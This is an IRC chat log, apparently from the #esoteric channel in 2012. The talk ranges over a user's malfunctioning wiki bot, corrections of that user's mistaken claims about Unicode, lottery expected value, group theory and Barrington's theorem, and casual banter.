23:34:58 <elliott> "Finally I will use the killer functional tool no imperative programmer has access too -- GLOBAL STATE!"
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23:37:58 <fizzie> My ~/logs/freenode/#esoteric is 209M, and that's just post-2009-03-17. Of course there's possibly some amount of more formatting, but still.
23:38:41 <fizzie> Well, the directory that's everything I have from before that is 53M.
23:40:21 <fizzie> It's changed from the "K era" to the "M era" approximately during 2007.
23:42:40 <elliott> fizzie: All the logs up to 2007 were less than a megabyte?
23:43:48 <fizzie> There are also gaps in the places where I didn't rememer to rejoin for some months.
23:45:53 <fizzie> (And the numbers surrounding the missing months are somewhat dubious for obvious reasons. But I didn't have a local copy of the actual log'llection handy.)
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00:05:12 <zzo38> How many programs are there that can typeset to DVI files? I know of TeX, GFtoDVI, and I think GNU troff has an option to output DVI as well. GNU Lilypond has partial support for DVI output. Are there others?
00:06:59 <olsner> the church turing thesis posits there are at most 4 such programs
00:07:21 <zzo38> How can the Church-Turing thesis posit such things?
00:07:36 <olsner> (posit is possibly the best verb in the world)
00:11:05 <zzo38> I am making the Haskell library for both input and output of DVI. It even does ligature and kerning.
00:16:40 -!- MoALTz has quit (Ping timeout: 250 seconds).
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00:18:53 <NSQX> elliott, I was only trying to use a bot to edit the page about UniCode/fill in all Unicode characters in the table
00:19:15 <NSQX> I was not trying to make an edit using my bot to any other page.
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00:20:08 <elliott> NSQX: A bot can have serious negative effects even if it's coded to only edit one page.
00:22:18 <elliott> It's also a really bad thing for recent changes to be filled up with edits summarised only as "Wikipedia python library" when a bot's going wrong.
00:25:00 <olsner> NSQX: "fill in all unicode characters"? why does the eso wiki need that?
00:26:42 <olsner> NSQX: if you want a bot to do something, it'd be a better idea to run the bot locally (without it modifying the wiki in any way), review the changes, and then add a single change with whatever the bot did (if you think it did something good)
00:26:50 <NSQX> I think I might have fixed the problem - if I don't delete and re-create the Page object before running Page.get() a second, third, etc. time, page.get() will always return the data that was in the page when the Page object was created. http://pastebin.com/mefcu3EV
00:27:24 <olsner> well, esolangs.org is not the appropriate environment to discover these bugs in your bot
00:27:28 <elliott> NSQX: That makes one edit per character.
00:27:42 <elliott> I agree with olsner that the best thing to do would be to generate the wikicode you want locally (through any means you wish), then copying that to the page.
00:27:51 <NSQX> The page about UniCode should show every unicode character and instruction in the table.
00:28:11 <elliott> Having every Unicode character on a page wouldn't work, by the way.
00:28:21 <elliott> It would be an astronomically large page and likely cause problems with browsers.
00:29:14 <elliott> (Even just every Unicode character, with no additional wikicode arround it, is 100 kilobytes, way above the maximum size wiki pages can be without causing problems.)
00:31:01 <NSQX> http://esolangs.org/w/index.php?title=UniCode&action=edit&oldid=31630 (Restore this revision)
00:31:32 <kmc> shachaf, I don't think it's exactly what I say
00:32:04 <kmc> more like "when we synthesize new answers, let's do so in a persistent editable medium so we can combine and refine them, rather than just shouting them at each other"
00:32:19 <shachaf> kmc: Maybe your objection is less to syntehsizing and more to typing in answers of any kind to common questions in IRC.
00:32:37 <elliott> NSQX: I don't think the table will mislead anyone as it is; it's less than a day until you'll be able to revert it yourself.
00:32:48 <kmc> i mean i've seen the standard answers improve over ~6 years of lurking in #haskell on and off
00:32:59 <kmc> so I would be loathe to institute a moratorium on new answers!
00:33:16 <NSQX> Now I know that trying to fill in all the unicode tables would increase the page size to almost 7MB
00:33:47 <shachaf> kmc: Have they improved as a result of people answering the same question?
00:34:01 <NSQX> Just one Unicode character added to the table doesn't increase the page size to 100KB. It increases the page size to 100-104 bytes.
00:34:08 <shachaf> kmc: I think it's more likely that they improved as a result of context/person-specific questions.
00:34:28 <zzo38> kmc: What I know is that people disagree about the answers, even questions that should have a proper answer people disagree, such as: data CoPh x; Does this make a monad? Does this make a comonad? I think it makes a comonad but not a monad; other people disagree
00:34:30 <shachaf> I doubt that someone suddenly came up with a better answer for "what is a monad?" the 500th time it was asked the same way.
00:35:13 <elliott> NSQX: Well, I'm not exactly sure what your bot is designed to do, because you haven't told anyone.
00:35:16 <zzo38> shachaf: At least how I would say, is, you should first understand what is an endofunctor
00:36:24 <elliott> NSQX: If it's just to add a line to the table on request to avoid retyping it, then wouldn't a MediaWiki template do just as well?
00:37:01 <kmc> shachaf, not suddenly no
00:37:20 <NSQX> elliott, Do you think it would be at least better to split all the UniCode characters into subpages of [[UniCode]] and put them all in the wikitext as "{{:UniCode/TR1}} {{:UniCode/TR2}} ..."?
00:38:03 <elliott> That would probably be worse, since it would result in tens to hundreds of pages.
00:38:10 <olsner> again, what does unicode have to do with the eso wiki? unicode.org has everything you could ever want to know about it
00:38:26 <elliott> NSQX: But I'm not really sure what you're trying to accomplish with the bot in the first place, like I said.
00:38:38 <NSQX> Well, what about every UniCode instruction?
00:38:53 <zzo38> What if you make subpages, Unicode/00xxx Unicode/01xxx ... Unicode/10xxx ?
00:39:23 <zzo38> Actually I think we need more than that...
00:39:37 <monqy> isn't UniCode long dead anyway?
00:39:42 <monqy> was it ever alive?
00:40:13 <zzo38> Unicode/000xxx Unicode/001xxx Unicode/002xxx .... Unicode/00Fxxx Unicode/010xxx ... Unicode/0F0xxx Unicode/100xxx I think that is the maximum one.
00:40:22 <NSQX> UniCode has 65536 characters, each one would be assigned to a UniCode instruction.
00:40:38 <zzo38> Some astral planes are private use so don't use those ones
00:40:49 <zzo38> And some code points are surrogates so don't use those either
00:40:52 <NSQX> Remember the Unicode characters and UniCode programming language instructions to think of.
00:41:09 <elliott> Unicode has more than 110,000 characters.
00:41:16 <elliott> It's been bigger than 16 bits for a long time now.
00:42:41 <pikhq> Furthmermore, a glyph consists of one or more codepoints.
00:42:45 <NSQX> Unicode only has 65536 characters. It's Unicode Big Endian which has more than 110,000 characters. Actually, most operating systems still only support ASCII, ANSI, and Unicode, not Unicode Big Endian.
00:43:33 <zzo38> Actually, Unicode Big Endian is only an encoding of Unicode, it is not a different Unicode.
00:43:34 <elliott> "In 1996, a surrogate character mechanism was implemented in Unicode 2.0, so that Unicode was no longer restricted to 16 bits. This increased the Unicode codespace to over a million code points, which allowed for the encoding of many historic scripts (e.g. Egyptian Hieroglyphs) and thousands of rarely-used or obsolete characters that had not been anticipated as needing encoding."
00:43:43 <elliott> "Unicode defines a codespace of 1,114,112 code points in the range 0hex to 10FFFFhex."
00:43:46 <kmc> "big endian" isn't a single encoding either
00:43:54 <kmc> itt: NSQX is wrong about unicode
00:44:21 <pikhq> NSQX: The latest Unicode standard contains 110,116 characters.
00:44:32 <olsner> ah, the BIG ENDIAN unicode, biggest unicode yet
00:45:18 <elliott> Doesn't Windows support astral planes these days?
00:45:21 <elliott> I think GTK does. Does Qt still not yet?
00:45:22 <kmc> big indian unicode http://unicode.org/charts/PDF/U0900.pdf
00:45:23 <pikhq> Incidentally, Unicode is not *itself* a character encoding, but rather a set of characters, with several encodings.
00:45:25 <NSQX> Even the C wchar_t only supports character codes up to 65536.
00:45:29 <pikhq> elliott: Windows has for a decade now.
00:45:42 <elliott> NSQX: wchar_t is of implementation-designed size, it can be as little as 8 bits
00:45:42 <kmc> NSQX, wrong again, it's so on Windows but on UNIX it's usually 32 bits
00:45:59 <zzo38> Haskell specifies the Char is Unicode from 0hex to 10FFFFhex, but I think, Ibtlfmm shall go up to FFFFFFhex and the implementation is not required to be Unicode, it can use anything, as long as it is ASCII.
00:45:59 <olsner> in about 5 years, I think most web browsers will even fully support astral planes
00:46:06 <NSQX> Well, let's just get on with planning the UniCode language instructions now.
00:46:14 <kmc> NSQX, start by understanding Unicode?
00:46:31 <pikhq> NSQX: On Windows, wchar_t is a 16 bit type. However, it is typically used with UTF-16, which can encode all of Unicode.
00:46:44 <kmc> which means one wchar_t isn't necessarily one character
00:46:51 <kmc> (even setting aside combining characters)
00:46:57 <pikhq> (prior to Windows XP, it was more typically UCS-16, which encodes only the base multilingual plane)
00:47:19 <calamari> can utif-8 also handle all of unicode?
00:47:20 <kmc> zzo38, GHC also allows invalid Unicode characters like '\xD800'; I don't know if that's addressed in the spec
00:47:24 <kmc> calamari, yes
00:47:31 <kmc> utf-8 is a wonderfully designed encoding
00:47:38 <pikhq> UTF-8 actually has *much* more space than is necessary.
00:47:58 <pikhq> UTF-8 could in theory represent a 32-bit space.
00:48:51 <zzo38> kmc: I do know that; I have tried it. I don't know if the spec mentions that either. But I would make the new one, instead of being Unicode, it is simply 24-bits and all values are valid, and it does not matter what character set you use as long as it is ASCII.
00:49:09 <elliott> any colour you want, as long as it's black
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00:49:58 <zzo38> pikhq: I do know, UTF-8 can be used to encode numbers beyond Unicode (although if you do so, it will not make a valid Unicode text data)
00:50:19 <pikhq_> zzo38: Yeah. NSQX does not.
00:50:55 <zzo38> elliott: That is not what I mean
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00:54:18 <pikhq_> NSQX: BTW, every OS that's not hilariously archaic uses a Unicode transformation format, with everything else considered a legacy feature.
00:54:40 <pikhq_> Unices on UTF-8, OS X on UTF-8, Windows on UTF-8 and UTF-16...
00:58:14 -!- NSQX has quit.
01:00:52 <zzo38> I will usually use ASCII; my feature for new computer and system, uses NK (8-bits encoding) internally, but FBUCE (which is 16-bits encoding, alhough character codes as 12-bits and the other 4-bits are used for other features) can also be used, as well as any other 8-bits encoding which can transform to FBUCE (NK also can transform to FBUCE). FBUCE has 512 control characters, and has some characters which are not part of Unicode, but does not h
01:02:30 <zzo38> I think Unicode should also define non-surrogate purposes of surrogate codes, such as to represent keystrokes which have no character code. They are not needed in text but can be used in a GHC Char and so on.
01:09:41 <zzo38> Why shouldn't it be allowed to use "data instance" where "type instance" is expected?
01:11:31 <shachaf> zzo38: You mean, instead of defining a data type on your own and then making a type synonym to it?
01:12:26 <shachaf> Seems like a reasonable thing to do. data instance and type instance are different things.
01:13:28 <zzo38> I know data instance and type instance are different things. But if you use "data instance" where "type instance" is expected (or "data" instead of "type" in a class instance declaration), it should be able to make up an anonymous datatype and use that.
01:38:04 <elliott> Well, NSQX just evaded their block and vandalised my old user page.
01:38:31 <elliott> I've lengthened their block to a week. I suspect it should be longer.
01:43:23 <elliott> http://esolangs.org/wiki/User_talk:202.156.14.101 And there we go.
01:46:35 <pikhq_> Jeeze. I... Think the lottery's jackpot went high enough that you can expect a slight profit from tickets.
01:46:58 <elliott> http://r6.ca/blog/20090522T015739Z.html
01:48:29 <pikhq_> That is not to say that it overcomes the near-guarantee you'll lose your $1.
01:49:00 <elliott> Well, the probabilities still even that out. The point is that the $1 is way, way too big unless you're super rich.
01:50:02 <pikhq_> Still, $640 million payout with 1 in 175,711,536 odds of jackpot are fairly obscene.
01:50:47 <pikhq_> (I should note that I've not gone out and paid anything, because 175,711,535 in 175,711,536 odds of losing $1 are not odds I like much)
01:52:03 <pikhq_> Anyways. Yeah, I think the situation here is nearly the same as the linked one.
01:52:20 <pikhq_> It's a pretty bad investment unless you've got several million already.
01:53:47 <pikhq_> Still, it amuses me that it's theoretically possible to make a profit from lottery tickets.
01:54:10 <pikhq_> Sorry, theoretically possible to *expect* a profit from them.
01:55:42 <coppro> pikhq_: there was a post on reddit calculating that if you bought every possible ticket and didn't split the jackpot, you would earn $400M
01:57:04 <pikhq_> coppro: Iff you get the annuity option, I assume.
01:57:25 <pikhq_> And don't account for the income tax.
01:57:34 <coppro> pikhq_: That was assuming 50% tax
01:57:54 <coppro> http://i.imgur.com/DLwLF.jpg
01:58:52 <pikhq_> The figures are off the cash option payout.
01:59:08 <pikhq_> Which... Is a bit silly.
01:59:22 <pikhq_> Currently that's nearly $200 million that just up and disappears.
02:00:11 <pikhq_> Admittedly, taking the annuity would mean there would be a few *years* before you profit.
02:00:29 <elliott> How long would it take to buy all the tickets? :p
02:00:57 <pikhq_> Dunno. How fast are the printers?
02:01:29 <zzo38> Not only it take a long time but it would cost a lot of money and energy too
02:02:04 <pikhq_> zzo38: You can buy a large amount of tickets at a time.
02:02:23 <pikhq_> Shops selling them have printers that generate them.
02:02:47 <coppro> you need 175 million tickets
02:03:01 <pikhq_> Also, given the amount of money at hand you could probably pay people to help buy tickets.
02:03:13 <coppro> or create a giant collective
02:03:29 <pikhq_> True. A corporation could actually go out and do this.
02:03:42 <pikhq_> "Lottery Winners, Inc."
02:03:45 <coppro> hell, just pay the retailers to convince everyone buying tickets to get in on it :P
02:04:21 <zzo38> But you have to select which number you want, too; try to select the number that nobody else is going to select.
02:04:28 <pikhq_> Now there's a business model. Buy in to lotteries with EV greater than the ticket.
02:04:49 <coppro> zzo38: convince every buyer to get in on it
02:05:08 <pikhq_> zzo38: In the lottery scheme in question, tickets aren't *necessarily* unique.
02:05:20 <elliott> <coppro> you need 175 million tickets
02:05:26 <elliott> I know that lotteries really don't like people gaming them, though.
02:05:37 <elliott> I suspect there's regulations to stop this kind of stuff at a way smaller scale.
02:05:40 <coppro> what they care about is people thinking they can be gamed
02:05:41 <pikhq_> elliott: Gaming them in this *particular* way is generally acceptable.
02:06:02 <pikhq_> This is not some unintended consequence, but rather a mere coincidence.
02:06:10 <coppro> They don't really care if someone is secretly buying all the good scratchcards
02:06:24 <coppro> people will buy the duds
02:06:35 <coppro> so all they need to do is keep the secret from getting out
02:06:37 <pikhq_> I should note that the jackpot only gets this high when there's been a few weeks of no jackpot being awarded.
02:06:52 <pikhq_> So, even when each ticket has positive EV, they've made a profit.
02:13:06 <zzo38> I have invented a variant of video poker which can be played using scratch lottery cards
02:25:14 <elliott> Going by the webserver logs, NSQX is still running that bot. I can't tell why.
02:28:46 <zzo38> Rules: Before discarding any cards, you must announce what number of cards you want to discard. However. after each discard, you can look at the replacement card before deciding which card you want to discard next. (But you are not allowed to discard the replacement cards.)
02:30:57 <lambdabot> Local time for elliott is Sat Mar 31 03:30:56
02:34:39 <zzo38> How much advantage does the player have in this variant of video poker?
02:36:09 <zzo38> (I have called this game "scratch poker")
02:52:44 <lambdabot> Local time for elliott is Sat Mar 31 03:52:43
02:52:54 <lambdabot> Local time for pikhq_ is Fri Mar 30 20:52:25 2012
02:53:13 <pikhq_> elliott: When do you sleep?
02:53:30 <elliott> pikhq_: uh probably like 4ish
02:53:47 <pikhq_> ntpd says my time is right.
02:58:28 <elliott> `addquote <monqy> esolang a horror movie where the ghost just wanders around and moves newspapers and boots and family pictures a few inches before moving on
02:58:31 <HackEgo> 835) <monqy> esolang a horror movie where the ghost just wanders around and moves newspapers and boots and family pictures a few inches before moving on
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04:00:04 <zzo38> Someone may eventually notice the movement, or notice that something is wrong even if they don't know what it is
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05:36:55 <zzo38> O, is that the ghost hand just wanters around and move everything just one inch?
05:37:22 <monqy> it very well may be that ghost
05:48:21 <shachaf> kmc: Sounds like the information you gave me about NYC pizza is outdated: http://www.nytimes.com/2012/03/31/nyregion/in-manhattan-pizza-war-price-of-slice-keeps-dropping.html?pagewanted=all
05:48:53 <kmc> yeah i just heard about this
05:49:14 <kmc> ...how did you hear about it?
05:50:25 <kmc> i hear they have the internet on computers now
05:51:37 <shachaf> kmc: Yes, but that Internet tastes kind of mechanical.
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06:35:42 <Sgeo> The Arimaa game room stores passwords in plaintext. Because fuck security, that's why.
06:48:05 <Sgeo> monqy, game designed to be easy for humans to learn and hard for computers to be good at
07:10:21 <zzo38> Can they implement Haskell Dynamic like that? data Dynamic where { Dynamic :: forall x. Typeable x => x -> Dynamic; }; castDyn :: Typeable x => Dynamic -> Maybe x; castDyn (Dynamic x) = cast x;
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07:52:15 <oerjan> <oklopol> that's totally taken out of context. <-- but very oklo.
07:52:16 <lambdabot> oerjan: You have 1 new message. '/msg lambdabot @messages' to read it.
07:52:23 <lambdabot> fizzie said 10h 37m 48s ago: Hey, we're winning -- but W|A thinks you will eventually crush us: http://www.wolframalpha.com/input/?i=%28population+of+finland%29%2F%28population+of+norway%29
07:54:09 <zzo38> Didn't they say many quotations here are put out of context? (Including when I am quoted too; not only you)
07:54:45 <oerjan> @tell fizzie Well we like passed 5 millions just this month, while much of Europe is (about to start|) _shrinking_... no idea if finland is.
07:55:12 <oerjan> zzo38: probably; your style is also very characteristic and therefore does not always need context.
07:56:26 <oerjan> i suppose those quotes would still be confusing to someone who isn't a channel regular.
08:23:10 <fizzie> oerjan: Well, our derivative of population did peak in 1945 (with 3.5 children/woman), then dropped to 1.5 in 1970s, then been stuck at 1.8 for the last three decades or so. There's a nice "population pyramid -> population weirdo-tower-thing" comparison graph midway down http://www.stat.fi/tup/suomi90/joulukuu_en.html
08:24:14 <oerjan> fizzie: norway is also slightly lower than replacement level, so we grow due to immigration.
08:26:42 <fizzie> The Statistics Finland folks do say we're still somewhat growing too, according to http://www.stat.fi/til/vaenn/2009/vaenn_2009_2009-09-30_tie_001_en.html
08:28:11 <fizzie> "According to the projection, the annual number of deaths will exceed births in 2034, but net immigration is forecast to sustain population growth even after this."
08:29:50 <zzo38> This is not a pipe http://zzo38computer.cjb.net/img_0F/screen0.png
08:33:14 <oerjan> http://www.ssb.no/en/folkfram/ says we may pass 6 million in 2028, which is a while before you
08:35:26 <zzo38> Do you like Jyte? http://jyte.com/profile/zzo38computer.cjb.net
08:36:59 <fizzie> No, it's VERTICAL LINE.
08:37:00 <monqy> looks healthy to me
08:37:12 <monqy> maybe your'e fonts broken
08:37:15 <fizzie> Sometimes it's gappy, sometimes it's not. It's certainly not BROKEN BAR.
08:39:42 <oklofok> having more people is not winning.
08:39:51 <fizzie> Plain | is nasty that way, though I think the non-gappy versions are more popular.
08:39:52 <oklofok> it's the opposite of winning
08:39:58 <fizzie> ┆ is like doubly broken.
08:43:57 <zzo38> Can you more easily name 150 pokemons or 150 United States presidents?
08:45:47 <oklofok> i can name maybe like 2 us presidents
08:46:10 <fizzie> I wouldn't think anyone could name 150 US presidents.
08:46:17 <fizzie> They've had like fourty-something.
08:47:15 <oklofok> i had this feeling that they'd had ridiculously many
08:47:32 <oklofok> that they'd like been passing president coupons at some point
08:48:00 <fizzie> We've just got twelve, so we're even worse off. Unless having a lot of presidents is also not winning.
08:49:18 <zzo38> I don't even live in United States so I cannot name many US presidents either.
08:49:39 <oerjan> has _any_ country had 150 presidents.
08:50:04 <oklofok> i've heard of more than a half of us presidents :/
08:50:29 <fizzie> Wow, if I W|A "president", it returns Finland's new one. I wonder if it geolocatimates or something.
08:51:13 <zzo38> fizzie: It appears to; when I enter things such as sunset and so on, it also uses my location.
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08:51:56 <oerjan> we'll know that variable has started learning haskell when he changes nick to TVar
08:52:02 <oklofok> zzo38: you really seem to like the sky, what's that about?
08:52:15 <fizzie> It seems to; if I try it from the United States, it returns that Osama dude.
08:53:00 * oerjan wonders if there is a conspiracy theory that osama and obama are the same person
08:53:28 <oerjan> oklofok: it's all my fault for making the agora horoscope
08:53:36 <fizzie> oerjan: Also Saddam. (Cf. Barack Hussein Obama II.)
08:54:11 <zzo38> oklofok: Have *you* ever looked at the sky, or do you stay inside all the time, in room with no windows? I occasionally go walk outside (and will see the moon, and Venus, and Mercury, and sun, and sometimes the stars); I do not stay inside all the time
08:55:33 <monqy> I don't like seeing the sun
08:56:25 <oklofok> i have a window but i always have my black curtains up.
08:56:27 <zzo38> Of course I do not look directly at the sun. It hurts my eyes too. And in the day time it is sometimes too bright sun, too.
08:56:58 <oklofok> on the other hand i love walking outside
08:57:43 <zzo38> My window also has curtains, to prevent glare, but they aren't black
08:58:56 <oerjan> also, why is there snow on the ground.
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09:11:35 <zzo38> Do you know what was Little Miss Muffet's given name? And her father's given name? (Without looking it up)
09:12:49 <zzo38> Her name is Patience and her father's name is Thomas.
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09:17:59 <zzo38> Do you like SVG or METAFONT or something else?
09:18:19 <oklofok> what's your favorite group?
09:18:38 <shachaf> zzo38: I like ice cream, when it's not too sweet.
09:19:21 <oklofok> i never really got to knwo ti
09:20:12 <oklofok> iirc A_4 is the smallest counterexample to some stuff?
09:20:27 <oerjan> it's the largest alternative group which is solvable.
09:20:29 <zzo38> shachaf: No, I mean for vector drawing
09:20:48 <oklofok> you can draw vectors with ice cream
09:20:55 <oklofok> but they rarely come out straight
09:21:01 <shachaf> zzo38: What about a pencil?
09:21:15 <oklofok> and then it's just a big incomprehensible gay ice cream orgy just like in my dreams
09:21:27 <zzo38> shachaf: I suppose you can use a pencil, and I use a pencil too; but I meant by computer
09:21:41 <shachaf> zzo38: The computer can't use a pencil?
09:22:01 <oklofok> oerjan: oh, i guess that's what i was thinking about actually
09:22:24 <oerjan> or you might be thinking of A_5 which is the smallest non-abelian simple group
09:23:22 <zzo38> Do you mean like a computer plotter? Once I had something with wheels that can control by computer using BASIC stamp, and I attached a pencil to it, to see if it would draw, but it didn't work
09:25:03 <oerjan> oklofok: which is related to why A_4 was the last group which was interesting - there's a theorem which says you can use any simple group to compute boolean circuits in polynomial time, but it's not known whether you can use a solvable group like A_4
09:25:06 <oklofok> so tell me about A_4, what do you do together? or are with her just because she's famous?
09:25:12 <oerjan> *which i found interesting
09:26:03 <oerjan> it's called barrington's theorem
09:28:29 <oerjan> http://rjlipton.wordpress.com/2009/03/02/barrington-gets-simple/
09:34:08 <oerjan> if you try to use that method with a solvable group like A_4, you get into trouble with circuits that are deeper than the length of the group's derived group series.
09:35:01 <oerjan> which means you _can_ compute with A_4, but you have to turn your circuit into something like conjunctive or disjunctive normal form first, which gives exponential blowup
09:36:17 <oklofok> so err in particular you can use the two element group for this thing?
09:36:38 <oklofok> i'm still slowly reading that thing
09:36:51 <oerjan> no, the two element group is abelian. you cannot use an abelian group at all.
09:37:42 <oerjan> for the known prood, the group needs to be non-solvable
09:38:13 <oklofok> but any simple non-abelian?
09:38:40 <oerjan> in fact doing it with _any_ solvable group would prove the unknown (and not believed) equality of the ACC^0 and NC^1 complexity classes.
09:39:04 <oerjan> i think that article might mention that stuff, if not one of his other blog posts about it does.
09:39:15 <oerjan> yes, any simple group works.
09:39:48 <oerjan> and any non-solvable, which simple implies (in fact non-solvable == you can find a simple quotient of a subgroup)
09:40:03 <oklofok> but so i'm not sure i understand the model, is the idea that for every n, you choose some polynomially long chain of boxes, each of which gets one bit of input, and bounded information must flow from one box to the next?
09:42:00 <oklofok> idgi, again you said "any simple group works", isn't the two-element group simple?
09:42:43 <oklofok> or are you just so completely restricting to non-abelians that that doesn't even need to be mentioned, since it's based on commutators
09:43:05 <oerjan> oklofok: eh i guess i am :P
09:43:17 <oerjan> simple non-abelian, right
09:43:54 <oklofok> alright, i'll continue reading, although i might not get this without the gory details since i don't know anything about groups
09:45:43 <oklofok> so [G, G] means the set of all commutators, and in the non-abelian case it's nontrivial obviously and it's always normal for some simple reason, in the simple non-abelian case it's exactly G
09:45:56 <oklofok> now what's [G, H], is it something?
09:46:07 <oklofok> sorry, that's a stupid question
09:46:27 <oklofok> [x, y] means the corresponding commutator, and [G, G] is just a lift thingie.
09:47:05 <oerjan> oklofok: actually that's not stupid at all, it's http://en.wikipedia.org/wiki/Central_series
09:47:49 <oklofok> my question was what [G, H] even _means_, not what kind of group it is.
09:48:20 <oklofok> so it was stupid, i didn't quite recall that [x, y] is the commutator notation
09:48:24 <oerjan> [G,H] is the subgroup generated by the commutators ghg^-1h^1
09:48:33 <oklofok> because i read one letter at a time and then i come here to talk about it.
09:50:00 <oerjan> btw a group which has a central series is called nilpotent, and iirc lipton mentions that it's known such a group _cannot_ be used for these computations.
09:52:20 <oklofok> the or gate thing seems to give an exponential blowup, is the solution that we have logaritmic depth?
09:53:04 <oklofok> it seems that you still have to put all of the gates in
09:53:25 <oklofok> but blowup only happens depth many times i guess
09:53:44 <oklofok> do you know how and is done? oh wait. that's trivial.
09:53:50 <oklofok> hey this is fucking awesome :D
09:54:37 <oklofok> ah yeah [G, G] = G so you can choose the value of an or gate to be anything in the false case
09:55:06 <oklofok> THIS IS SO COOL :dSADFADSAFDSAFDDFSDAFDAF
09:55:09 <oklofok> AKLSDJFLKASJFLKAJSDLFKJAOEIWJFIJDC,XMV,.CMFDKLSFJSKLAMJ
09:55:55 <oerjan> STOP WITH THE FINNISH CODE
09:56:39 <olsner> LKAÖSJFLKAJSDÖLFKJAOEKLSFJSKAKLSDJFLKAÖSJFLKAJSDÖLFKJAOEIWJFIJ
09:56:48 <oklofok> so i guess we've established that asdfjaklsdjfklasjdfl means extreme frustration and ADJFAWEIMVKDMFKLAMSDF means omg this is awesome.
09:56:58 <oerjan> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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10:05:55 <oklofok> oerjan: but so does [G, H] have some nice meaning?
10:06:46 <oerjan> i don't know much about that beyond the central series i linked to
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10:06:51 <oklofok> [G, G] somehow captures the noncommutation in G, is there something similar you can say about [G, H]
10:07:48 <oklofok> where somehow = (abelianizing by factoring = dividing [G, G] out)
10:08:19 <oklofok> WHY IS EVERYTHING SO AWESOME TODAY
10:08:51 <oerjan> alien nanobot invasion.
10:09:52 <oklofok> i wonder if there's still something to research in group theory
10:10:20 <oerjan> well i don't think the extension problem is really solved...
10:10:22 <oklofok> which is kind of silly i guess i find it trivial to find new questions about cellular automata and everyone says there's really nothing left there.
10:11:09 <oerjan> admittedly i know almost nothing about how much _has_ been done with it.
10:12:09 <oklofok> well none of the basic questions like this have been solved in symbolic dynamics either
10:12:32 <oklofok> well except everything except conjugacy has been solved for SFT's i guess
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10:13:11 <oklofok> but i think factoring between sofic shifts of equal entropy hasn't been solved for instance
10:14:14 <oerjan> and the simple groups classification _has_ been solved - with what may have been the largest math cooperation ever
10:14:25 <oklofok> for simple objects, i guess this sort of categorical questions are usually either trivial or extremely hard
10:15:04 <oklofok> The proof of the theorem consists of tens of thousands of pages in several hundred journal articles written by about 100 authors, published mostly between 1955 and 2004.
10:15:57 <oklofok> The completed proof of the classification was announced by Aschbacher (2004) after Aschbacher and Smith published a 1221 page proof for the missing quasithin case.
10:16:21 <oklofok> this is so awesome i'm almost crying
10:18:57 <oerjan> from 2006 on the Talk page: "Actually the proof of the uniqueness of the 26 sporadic groups is still a debated issue. For instance the uniqueness proof of the Thompson group is flawed, although a new proof of the uniqueness will be published in the coming months."
10:19:01 <oklofok> now i just wish i knew what groups of lie type were
10:19:22 <oerjan> it's going to take a while because they're sure they've _really_ closed all gaps :P
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10:19:59 <oerjan> and it's so huge that getting it through a theorem verifier seems impossible
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10:20:16 <oklofok> to have been a part of something like that would be just fucking incredible
10:20:49 <oklofok> probably something like that is going on in an early stage one could still jump into
10:21:08 <oerjan> heh Timwi is on the talk page
10:36:50 <itidus21> tl;dr kfc tasted good today. 2 everyone loves raymond episodes followed by 2 simpsons episodes followed by 2 futurama episodes = WHY IS EVERYTHING SO AWESOME TODAY yup
10:37:28 <oklofok> 1 friends episode followed by another friends episode followed by goto 1
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10:57:49 <oklofok> This would be a major result, since it would imply the famous (to group theorists at least) Odd Order Theorem of Walter Feit and John Thompson. They showed that any odd order group cannot be simple.
10:58:24 <oklofok> do bounded computation with groups theorists define groups as non-abelian groups?
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11:49:03 <itidus21> ponders whether there a correlation between the value of a mathematical notation and the presence of it on a keyboard
11:49:28 <itidus21> maybe it is more indicative of "common" operations
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12:09:41 <oklofok> they should be called crachSTUPIDs
12:14:43 <oklofok> http://donblazys.com/01.pdf o_O
12:14:50 <oklofok> how do you not get the death penalty for this
12:20:59 <olsner> hmm, found a backgrounded mplayer process in one of my shells... based on the contents it must've been there for months
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12:30:08 <olsner> ooh, found a bug! my cond implementation was expecting exactly one expression for each condition
12:31:23 <olsner> and when that match failed, it continued on to treat conds as applying a function 'cond' to some subexpressions, explaining why something was trying to use t as a function
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12:37:29 <olsner> it might've helped if I knew more about this "lisp" thing before trying to write a compiler :>
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13:10:41 <elliott> 66.249.66.201 - - [31/Mar/2012:06:55:54 +0000] "GET /wiki/Human_And_Animal_Relationships HTTP/1.1" 302 161 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
13:11:24 <elliott> 81.170.237.250 - - [31/Mar/2012:06:56:38 +0000] "GET /wiki/Brainfuck HTTP/1.1" 200 14619 "http://bytesizebio.net/index.php/2011/11/06/brainfk-while-waiting-for-a-flight/" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)"
13:11:42 <elliott> "Having arrived almost 3 hours early to JFK, flying back to Cincinnati, I spent the time coding up a Python script which inputs a string and outputs a Brainfuck source code which, when run with a Brainfuck interpreter, outputs said string."
13:11:50 <elliott> ok that's much less horrifying than i was expecting
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13:44:17 <olsner> heh, the SICP page has links to download MIT Scheme for "Windows NT 4.0, Windows 95, and Linux (RedHat)"
13:47:06 <ion> olsner: Awesome
13:48:25 <olsner> though the page that links to is actually just http://www.gnu.org/software/mit-scheme/
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14:02:17 <elliott> there must only be one of you at a time
14:03:08 <monqy> Ngevd: invite hovercraft over will you
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14:08:30 <elliott> killed by duplicator accident
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14:43:12 <NSQX> <code.lol> HAI
14:43:30 <NSQX> <objlol> HAI CODE
14:43:38 <NSQX> <code.lol> CAN HAZ STDIO?
14:43:48 <NSQX> <objlol> AWSUM THX
14:43:56 <NSQX> <code.lol> CAN HAZ STDLIB?
14:44:03 <NSQX> <objlol> AWSUM THX
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14:44:14 <NSQX> <code.lol> CAN HAZ WINDBLOZE?
14:44:20 <NSQX> <objlol> O NOES
14:44:32 <NSQX> <code.lol> KTHXBAI
14:44:37 <monqy> what are you doing?
14:44:37 <NSQX> <objlol> BAI CODE
14:45:12 <NSQX> <sjlol> HAI HAI
14:45:20 <NSQX> <hai.lol> CAN HAZ STDIO?
14:45:41 <NSQX> <hai.lol> VISIBLE "HAI WORLD!"
14:45:49 <NSQX> <stdout> HAI WORLD!
14:46:03 <NSQX> <hai.lol> KTHXBYE
14:46:14 <NSQX> <sjlol> BYE HAI
14:47:32 <elliott> please stop flooding the channel
